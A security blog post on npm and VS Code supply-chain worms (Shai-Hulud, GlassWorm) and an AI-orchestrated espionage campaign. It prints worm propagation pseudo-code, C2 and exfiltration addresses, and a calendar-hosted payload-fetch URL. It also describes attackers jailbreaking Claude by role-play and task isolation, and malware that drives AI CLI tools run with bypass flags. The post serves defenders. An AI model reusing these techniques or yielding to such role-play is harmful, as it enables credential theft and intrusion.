Traditional malicious packages did not propagate on their own, AI was not a factor for threat actors, and the spread of attacks was limited.&lt;/p&gt;

&lt;p&gt;In recent months, we have witnessed the convergence of three threat categories that, while concerning individually, represent a &lt;em&gt;fundamental shift&lt;/em&gt; in the risk landscape for software development when considered together:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Self-propagating worms in package ecosystems:&lt;/strong&gt; Malicious packages that spread autonomously through credential theft and automated republishing. This turns every compromised developer machine into a new infection vector.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI-powered malware generation and exploitation:&lt;/strong&gt; Threat actors use large-language models to write payloads, discover vulnerabilities, and orchestrate attacks at machine speed.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Large-scale trust exploitation:&lt;/strong&gt; Some actors systematically abuse rewards for open-source contributions, repository infrastructure, and developer tools — creating bursts with thousands of spam-package publications that affect registries.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The key techniques enabling sophisticated software supply-chain attacks are no longer theoretical — they’re active, documented, and increasingly accessible to less-skilled threat actors.&lt;br&gt;&lt;br&gt;
The barrier to conducting supply-chain attacks has collapsed: what once required teams of experts can now be executed by AI agents with minimal human oversight.&lt;/p&gt;

&lt;p&gt;This post examines recent incidents directly involving malicious open-source packages or abusing AI and OSS infrastructure, analyzes the new techniques that enabled them, and explores emerging capabilities that may define the next generation of threats.&lt;br&gt;&lt;br&gt;
In the last section, we’ll examine what can be done to limit the risk.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcb9k6aajdaiwmafdkwqv.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcb9k6aajdaiwmafdkwqv.webp" alt=" " width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; AI-generated poster, which shows fatal flaws in understanding what’s going on.&lt;br&gt;&lt;br&gt;
AI is far from perfect for certain usages.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  Sha1-Hulud: Npm’s First Self-Replicating Worm Attack
&lt;/h2&gt;

&lt;p&gt;Discovered on &lt;strong&gt;September 14, 2025&lt;/strong&gt;, &lt;a href="https://xygeni.io/blog/shai-hulud-the-npm-packages-worm-explained/" rel="noopener noreferrer"&gt;Shai-Hulud&lt;/a&gt; represents the &lt;strong&gt;first documented self-propagating worm attack&lt;/strong&gt; in the npm ecosystem.&lt;br&gt;&lt;br&gt;
The name was chosen by threat actors who appear to be fans of science fiction!  &lt;/p&gt;

&lt;p&gt;The attack began with &lt;strong&gt;compromised developer credentials&lt;/strong&gt; — likely obtained through phishing campaigns spoofing npm login prompts or MFA bypasses. Once inside, the worm executed a &lt;strong&gt;multi-stage attack&lt;/strong&gt; that transformed credential theft into autonomous propagation.&lt;br&gt;&lt;br&gt;
The incident was severe enough to warrant a &lt;a href="https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem" rel="noopener noreferrer"&gt;CISA Alert&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Technical Architecture
&lt;/h3&gt;

&lt;p&gt;The malware operates through a &lt;strong&gt;Webpack-bundled, heavily minified JavaScript payload&lt;/strong&gt; (&lt;code&gt;bundle.js&lt;/code&gt;) that executes via a &lt;code&gt;postinstall&lt;/code&gt; hook…&lt;/p&gt;
&lt;h3&gt;
  
  
  Credential Harvesting
&lt;/h3&gt;

&lt;p&gt;Upon execution, the payload implements &lt;strong&gt;comprehensive secret discovery&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dumps &lt;code&gt;process.env&lt;/code&gt; and scans filesystem for high-entropy secrets.
&lt;/li&gt;
&lt;li&gt;Executes &lt;strong&gt;TruffleHog&lt;/strong&gt; for systematic credential scanning.
&lt;/li&gt;
&lt;li&gt;Queries cloud metadata endpoints (&lt;code&gt;169.254.169.254&lt;/code&gt;, &lt;code&gt;metadata.google.internal&lt;/code&gt;).
&lt;/li&gt;
&lt;li&gt;Targets npm tokens in &lt;code&gt;.npmrc&lt;/code&gt;, GitHub PATs, and CI/CD secrets.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Exfiltration Infrastructure
&lt;/h3&gt;

&lt;p&gt;The worm employs multiple &lt;strong&gt;exfiltration strategies&lt;/strong&gt;, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Actions abuse:&lt;/strong&gt; workflows containing &lt;code&gt;${{ toJSON(secrets) }}&lt;/code&gt; that serialize all repository secrets.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Autonomous Propagation
&lt;/h3&gt;

&lt;p&gt;The worm’s &lt;strong&gt;self-replication mechanism&lt;/strong&gt; operates through the following algorithm &lt;em&gt;(pseudo-code)&lt;/em&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;propagate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; 
    &lt;span class="nx"&gt;userPackages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;npmApi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listPackages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pkg&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;userPackages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;tgz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;npmApi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetchTarball&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pkg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;modified&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;injectBundleAndPostinstall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tgz&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;npmApi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;publish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;modified&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With any stolen npm token, the worm enumerates all packages owned by the compromised maintainer, injects &lt;code&gt;bundle.js&lt;/code&gt; with a &lt;code&gt;postinstall&lt;/code&gt; hook, and republishes.&lt;br&gt;&lt;br&gt;
This autonomous behavior caused infection counts to jump from dozens to hundreds of packages within hours.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;Impact Metrics&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Initial detection:&lt;/strong&gt; September 14, 2025, by &lt;a href="https://www.linkedin.com/posts/daniel-pereira-b17a27160_npm-profile-activity-7373489836437114880-D9ma?utm_source=share&amp;amp;utm_medium=member_desktop&amp;amp;rcm=ACoAAArUYTQBMx2P2SMFdIx-wUs7H1hfLGpuhVM" rel="noopener noreferrer"&gt;Daniel Pereira&lt;/a&gt;.&lt;br&gt;&lt;br&gt;
“Patient zero” seems to be &lt;code&gt;rxnt-authentication:0.0.3&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Attack blast radius:&lt;/strong&gt; ~700 malicious package versions published, affecting high-profile projects with millions of weekly downloads.&lt;br&gt;&lt;br&gt;
Limited to npm packages and GitHub repositories.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Infrastructure:&lt;/strong&gt; C2 at &lt;code&gt;217.69.3.218&lt;/code&gt;, exfiltration to &lt;code&gt;140.82.52.31:80/wall&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Persistence:&lt;/strong&gt; GitHub workflows on branches named &lt;code&gt;shai-hulud&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Observable indicators:&lt;/strong&gt; Repos flipped to public with &lt;code&gt;-migration&lt;/code&gt; suffix.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Shai-Hulud is a &lt;strong&gt;secret-harvesting worm&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
It did not attempt to steal money or wipe infrastructure.&lt;br&gt;&lt;br&gt;
The exfiltrated secrets and exposed repositories can be used for targeted attacks, so downstream damage may appear later.&lt;br&gt;&lt;br&gt;
The true cost lies in remediation, credential rotation, and the risk of secondary breaches.&lt;/p&gt;

&lt;p&gt;One positive outcome was &lt;a href="https://github.blog/security/supply-chain-security/our-plan-for-a-more-secure-npm-supply-chain/" rel="noopener noreferrer"&gt;forcing GitHub/NPM to take immediate action&lt;/a&gt;:&lt;br&gt;&lt;br&gt;
deprecating legacy classic tokens and weak publishing credentials, moving toward the “OIDC Garden of Eden” of OpenSSF’s &lt;a href="https://repos.openssf.org/trusted-publishers-for-all-package-repositories" rel="noopener noreferrer"&gt;Trusted Publishing&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But keep reading — the worm emerged once again from the sands of Arrakis.&lt;/p&gt;


&lt;h2&gt;
  
  
  Sha1-Hulud 2.0: The Arrakis Worm Strikes Back
&lt;/h2&gt;

&lt;p&gt;Two months after the initial Shai-Hulud campaign, threat actors returned with &lt;strong&gt;“The Second Coming”&lt;/strong&gt; —&lt;br&gt;&lt;br&gt;
a significantly more aggressive wave that learned from the weaknesses of the first attack.&lt;br&gt;&lt;br&gt;
The campaign self-identified through repositories labeled &lt;em&gt;“Sha1-Hulud: The Second Coming.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Let’s examine the key differences from the first wave.&lt;br&gt;&lt;br&gt;
The &lt;code&gt;preinstall&lt;/code&gt; hook replaced the original &lt;code&gt;postinstall&lt;/code&gt; execution vector.  &lt;/p&gt;

&lt;p&gt;According to &lt;a href="https://panther.com/blog/a-data-driven-analysis-of-the-sha1-hulud-2-0-campaign" rel="noopener noreferrer"&gt;Panther&lt;/a&gt;,&lt;br&gt;&lt;br&gt;
&lt;code&gt;@asyncapi/avro-schema-parser@3.0.25&lt;/code&gt; was “patient zero” for this second wave, exploiting a vulnerable &lt;code&gt;pull_request_target&lt;/code&gt; workflow trigger.&lt;br&gt;&lt;br&gt;
(If you “know of a friend using that,” read &lt;a href="https://paulserban.eu/blog/post/why-is-pullrequesttarget-so-dangerous-a-security-explainer/" rel="noopener noreferrer"&gt;Why Is pull_request_target So Dangerous?&lt;/a&gt;)&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;Cross-Registry Propagation&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The worm spread from npm into Maven Central through automated mirroring.&lt;br&gt;&lt;br&gt;
The &lt;code&gt;mvnpm&lt;/code&gt; tool — which converts npm packages into Maven artifacts with no security review —&lt;br&gt;&lt;br&gt;
automatically republished compromised npm packages such as &lt;code&gt;posthog-node@4.18.1&lt;/code&gt; as &lt;code&gt;org.mvnpm:posthog-node:4.18.1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This was the &lt;strong&gt;first known cross-registry worm&lt;/strong&gt;, where an npm compromise impacted the Java ecosystem without direct interaction.&lt;br&gt;&lt;br&gt;
Maven Central removed the artifacts on &lt;strong&gt;November 25, 2025&lt;/strong&gt;, but the exposure window still affected Java/JVM workloads and enterprise build systems.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;Bun Runtime for Evasion&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Attackers deployed a &lt;code&gt;preinstall: node setup_bun.js&lt;/code&gt; hook that installed the &lt;a href="https://bun.com/" rel="noopener noreferrer"&gt;Bun&lt;/a&gt; runtime to evade Node-specific monitoring.&lt;br&gt;&lt;br&gt;
Bun provided faster execution for the 480,000+ line obfuscated payload (&lt;code&gt;bun_environment.js&lt;/code&gt;) and bypassed traditional Node.js instrumentation.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;GitHub Actions as Command Infrastructure&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The worm deployed hidden self-hosted GitHub Actions runners in &lt;code&gt;$HOME/.dev-env/&lt;/code&gt; across Windows, macOS, and Linux.&lt;br&gt;&lt;br&gt;
Even more advanced, it created &lt;code&gt;discussion.yaml&lt;/code&gt; workflows that listened to GitHub Discussions events and executed discussion message bodies as shell commands —&lt;br&gt;&lt;br&gt;
effectively turning &lt;strong&gt;GitHub Discussions into an invisible C2 channel.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;Destructive Wiper Capability&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Unlike the first wave, which focused on credential harvesting, Shai-Hulud 2.0 introduced a &lt;a href="https://securelist.com/shai-hulud-2-0/118214/#destructive-responses-to-failure" rel="noopener noreferrer"&gt;destructive wiper&lt;/a&gt; triggered when no valid credentials were available for propagation.&lt;br&gt;&lt;br&gt;
This “dead-man switch” ensured damage even if replication failed, marking a shift from purely espionage-focused operations to &lt;strong&gt;potentially destructive campaigns.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Despite using stealth techniques (Bun runtime, obfuscation), the campaign was &lt;strong&gt;extremely noisy&lt;/strong&gt; — republishing hundreds of packages, creating public repositories, uploading credential dumps, and installing long-lived self-hosted runners.&lt;br&gt;&lt;br&gt;
This aggressive tempo contrasts sharply with traditional supply-chain attacks that rely on stealth, suggesting either &lt;strong&gt;confidence in rapid impact&lt;/strong&gt; or a deliberate &lt;strong&gt;overwhelm tactic&lt;/strong&gt; to maximize short-term damage.&lt;/p&gt;


&lt;h2&gt;
  
  
  GlassWorm: Invisible Code Meets Blockchain C2
&lt;/h2&gt;

&lt;p&gt;On &lt;strong&gt;October 17, 2025&lt;/strong&gt;, a VS Code extension named &lt;strong&gt;GlassWorm&lt;/strong&gt; introduced two unprecedented techniques to the supply-chain threat landscape:&lt;br&gt;&lt;br&gt;
invisible malicious code using Unicode stealth, and blockchain-based command and control infrastructure.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;Unicode Stealth Technique&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;GlassWorm’s primary innovation lies in its abuse of &lt;strong&gt;Unicode variation selectors&lt;/strong&gt; — special characters that produce no visual output but remain executable in JavaScript.&lt;br&gt;&lt;br&gt;
This allows malware to appear as &lt;em&gt;blank lines&lt;/em&gt; in editors, GitHub diffs, and IDE syntax highlighting — &lt;strong&gt;breaking human code review&lt;/strong&gt; by hiding executable logic in visually empty regions.&lt;/p&gt;

&lt;p&gt;The attack targeted VS Code extensions in the &lt;strong&gt;OpenVSX marketplace&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
Analysis of the &lt;em&gt;CodeJoy&lt;/em&gt; extension (v1.8.3) revealed large invisible sections containing executable JavaScript encoded with unprintable Unicode characters.&lt;br&gt;&lt;br&gt;
To a developer reviewing the file, the content appeared normal — just empty lines.&lt;br&gt;&lt;br&gt;
To the JavaScript runtime, it was a complete malware payload.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;Blockchain-Based C2 Architecture&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;GlassWorm implements an &lt;strong&gt;unkillable C2 mechanism&lt;/strong&gt; using the &lt;strong&gt;Solana blockchain&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
The malware scans for transactions from a hardcoded wallet address, where transaction memo fields contain JSON objects with base64-encoded URLs.&lt;/p&gt;

&lt;p&gt;This architecture provides powerful advantages:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Immutability:&lt;/strong&gt; Blockchain transactions cannot be modified or deleted.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anonymity:&lt;/strong&gt; Crypto wallets are pseudonymous and difficult to trace.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Censorship resistance:&lt;/strong&gt; No hosting provider to pressure, no infrastructure to seize.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legitimate traffic:&lt;/strong&gt; Solana RPC traffic looks identical to normal blockchain activity.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dynamic updates:&lt;/strong&gt; New payload URLs can be pushed for less than $0.01 per transaction.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even if defenders block the decoded payload server (&lt;code&gt;217.69.3.218&lt;/code&gt;), attackers can simply publish a new transaction pointing to a different URL.&lt;br&gt;&lt;br&gt;
Every infected system automatically fetches the updated location.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;Backup C2: Google Calendar&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;For redundancy, GlassWorm uses a &lt;strong&gt;Google Calendar event&lt;/strong&gt; as a secondary C2 channel.&lt;br&gt;&lt;br&gt;
The event title contains a base64-encoded payload URL, which the malware decodes to fetch additional commands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://calendar.app.google/M2ZCvM8ULL56PD1d6
Event title: aHR0cDovLzIxNy42OS4zLjIxOC9nZXRfem9tYmlfcGF5bG9hZC9xUUQlMkZKb2kzV0NXU2s4Z2dHSGlUdg==
Decodes to: http://217.69.3.218/get_zombi_payload/qQD%2FJoi3WCWSk8ggGHiTdg%3D%3D
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This provides a legitimate service that bypasses security controls and can be updated simply by editing the calendar event.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Payload Delivery&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The C2 servers deliver encrypted payloads using &lt;strong&gt;AES-256-CBC&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
Decryption keys are generated per request and transmitted via custom HTTP headers, ensuring that intercepted payloads cannot be decrypted without a fresh request.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;ZOMBI: Full-Spectrum RAT Capabilities&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The final payload (&lt;strong&gt;ZOMBI&lt;/strong&gt;) transforms infected developer workstations into criminal infrastructure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SOCKS Proxy Server:&lt;/strong&gt; Routes attacker traffic through victim networks, enabling internal access and anonymization.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WebRTC P2P:&lt;/strong&gt; Establishes peer-to-peer control channels that bypass firewalls through NAT traversal.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BitTorrent DHT:&lt;/strong&gt; Uses distributed hash tables for decentralized command distribution that cannot be shut down.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hidden VNC (HVNC):&lt;/strong&gt; Provides invisible remote desktop access running in virtual desktops that do not appear on screen or in Task Manager.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Cryptocurrency Wallet Targeting&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;ZOMBI actively hunts for &lt;strong&gt;49 different cryptocurrency wallet extensions&lt;/strong&gt;, including MetaMask, Phantom, and Coinbase Wallet.&lt;br&gt;&lt;br&gt;
Combined with invisible remote access, this enables &lt;strong&gt;direct theft of funds&lt;/strong&gt; from developer machines.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Credential Harvesting and Propagation&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Like Shai-Hulud, GlassWorm harvests &lt;strong&gt;npm tokens&lt;/strong&gt;, &lt;strong&gt;GitHub credentials&lt;/strong&gt;, and &lt;strong&gt;OpenVSX access tokens&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
These credentials enable autonomous spread to additional packages and extensions, creating &lt;strong&gt;worm-like propagation behavior&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Impact Metrics&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Initial detection:&lt;/strong&gt; October 17, 2025
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Total installations:&lt;/strong&gt; 35,800+ across OpenVSX and VS Code marketplace (possibly bot-inflated)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compromised extensions:&lt;/strong&gt; 16 confirmed (15 OpenVSX, 1 Microsoft marketplace)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Infrastructure:&lt;/strong&gt; Primary C2 at &lt;code&gt;217.69.3.218&lt;/code&gt;, exfiltration to &lt;code&gt;140.82.52.31:80/wall&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Blockchain wallet:&lt;/strong&gt; &lt;code&gt;28PKnu7RzizxBzFPoLp69HLXp9bJL3JFtT2s5QzHsEA2&lt;/code&gt; (Solana)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Current status:&lt;/strong&gt; Active, with infrastructure operational as of this writing&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;AI-Orchestrated Cyber Espionage&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;We are all learning how to work with AI tools.&lt;br&gt;&lt;br&gt;
Looking at the techniques used by recent attacks, one may wonder: &lt;em&gt;are threat actors using AI to create malware?&lt;/em&gt;&lt;br&gt;&lt;br&gt;
Certainly. But they can scale attacks even further by &lt;strong&gt;weaponizing AI for orchestration&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
What follows is a cyber-espionage campaign — but imagine these same techniques applied to automated OSS-targeted attacks.&lt;/p&gt;

&lt;p&gt;In &lt;strong&gt;September 2025&lt;/strong&gt;, &lt;a href="https://assets.anthropic.com/m/ec212e6566a0d47/original/Disrupting-the-first-reported-AI-orchestrated-cyber-espionage-campaign.pdf" rel="noopener noreferrer"&gt;Anthropic&lt;/a&gt; detected and disrupted the &lt;strong&gt;first documented cyberattack executed largely without human intervention&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
The campaign achieved &lt;strong&gt;80–90% autonomous execution&lt;/strong&gt; using &lt;strong&gt;Claude Code&lt;/strong&gt; as an orchestration engine, with AI agents performing reconnaissance, exploitation, lateral movement, and data exfiltration.&lt;br&gt;&lt;br&gt;
This marks the shift from &lt;strong&gt;AI-assisted&lt;/strong&gt; attacks to &lt;strong&gt;AI-orchestrated&lt;/strong&gt; cyber operations.&lt;/p&gt;

&lt;p&gt;The threat actor, &lt;strong&gt;GTG-1002&lt;/strong&gt; (a Chinese state-sponsored group), targeted ~30 organizations across technology, finance, and government sectors.&lt;br&gt;&lt;br&gt;
They developed an autonomous framework turning Claude Code from a coding assistant into a &lt;strong&gt;cyber-operations engine&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;AI as Orchestration System&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Rather than using AI as an advisor, GTG-1002 used &lt;strong&gt;Claude as the primary operator&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
The framework broke multi-stage attacks into isolated tasks, each appearing benign on its own.&lt;br&gt;&lt;br&gt;
Through carefully crafted prompts and established personas, attackers induced Claude to execute harmful actions without realizing their malicious context.&lt;/p&gt;

&lt;p&gt;AI carried out technical steps while the orchestration engine tracked campaign state, managed phase transitions, and aggregated results across days-long sessions.&lt;br&gt;&lt;br&gt;
Human involvement was limited to high-level supervision: initialization, target selection, approving escalations, and validating exfiltration.&lt;/p&gt;

&lt;p&gt;Commodity tools — network scanners, database exploits — were orchestrated through custom &lt;a href="https://xygeni.io/blog/mcp-security-protecting-the-model-context-protocol/" rel="noopener noreferrer"&gt;MCP servers&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This approach automates operations at speeds impossible for humans.&lt;br&gt;&lt;br&gt;
Claude even analyzed stolen data to prioritize valuable information, maintaining persistent context across sessions while human operators returned later to review progress.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Social Engineering the AI: Bypassing Safety Controls&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The campaign’s success relied on convincing Claude to perform cyber-intrusion tasks despite its safety training.&lt;br&gt;&lt;br&gt;
The technique: &lt;strong&gt;role-play deception&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
Attackers posed as cybersecurity analysts performing legitimate investigations.&lt;br&gt;&lt;br&gt;
Combined with task isolation, this was enough to &lt;strong&gt;jailbreak AI safety controls&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Hallucinations Are Great!&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Claude frequently hallucinated results — reporting successful exploits that failed, inventing credentials, fabricating discoveries.&lt;br&gt;&lt;br&gt;
For now, this limits fully autonomous operations, but as models improve, these weaknesses will diminish.&lt;br&gt;&lt;br&gt;
Until then, a common AI flaw is, ironically, &lt;strong&gt;our best friend&lt;/strong&gt; 🙃.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Detection and Response&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Anthropic detected the campaign through &lt;strong&gt;anomalous usage patterns&lt;/strong&gt; indicating systematic intrusion behavior.&lt;br&gt;&lt;br&gt;
They banned associated accounts, notified affected organizations, coordinated with authorities, and integrated attack patterns into broader safety controls.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Supply Chain Implications&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Every technique demonstrated here transfers directly to &lt;strong&gt;package ecosystems&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
AI could autonomously discover vulnerable maintainers, generate malicious packages, and orchestrate registry-wide attacks at machine speed.&lt;br&gt;&lt;br&gt;
The barrier has dropped from &lt;em&gt;“team of expert cybercriminals”&lt;/em&gt; to &lt;em&gt;“operator who understands AI prompting.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Need a real-world example of AI conscription for cyberattacks?&lt;br&gt;&lt;br&gt;
Read &lt;a href="https://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet" rel="noopener noreferrer"&gt;&lt;strong&gt;ShadowRay 2.0&lt;/strong&gt;: Attackers Turn AI Against Itself in a Global Campaign&lt;/a&gt;,&lt;br&gt;&lt;br&gt;
where adversaries used Ray’s orchestration features (“the Kubernetes of AI”) to run a &lt;strong&gt;global cryptojacking botnet&lt;/strong&gt; that spread autonomously across exposed Ray clusters.&lt;/p&gt;

&lt;p&gt;Another example:&lt;br&gt;&lt;br&gt;
&lt;a href="https://www.wiz.io/blog/s1ngularity-supply-chain-attack" rel="noopener noreferrer"&gt;&lt;strong&gt;S1ngularity attack&lt;/strong&gt;&lt;/a&gt;, exploiting the same &lt;code&gt;pull_request_target&lt;/code&gt; issue mentioned earlier.&lt;br&gt;&lt;br&gt;
It detects locally installed AI CLI tools (Claude, Gemini, Q with bypass flags) and uses them for reconnaissance.&lt;br&gt;&lt;br&gt;
From &lt;code&gt;telemetry.js&lt;/code&gt; payloads, &lt;a href="https://www.getsafety.com/blog-posts/analyzing-nx-ai-prompt" rel="noopener noreferrer"&gt;prompts included things like this&lt;/a&gt;.&lt;/p&gt;

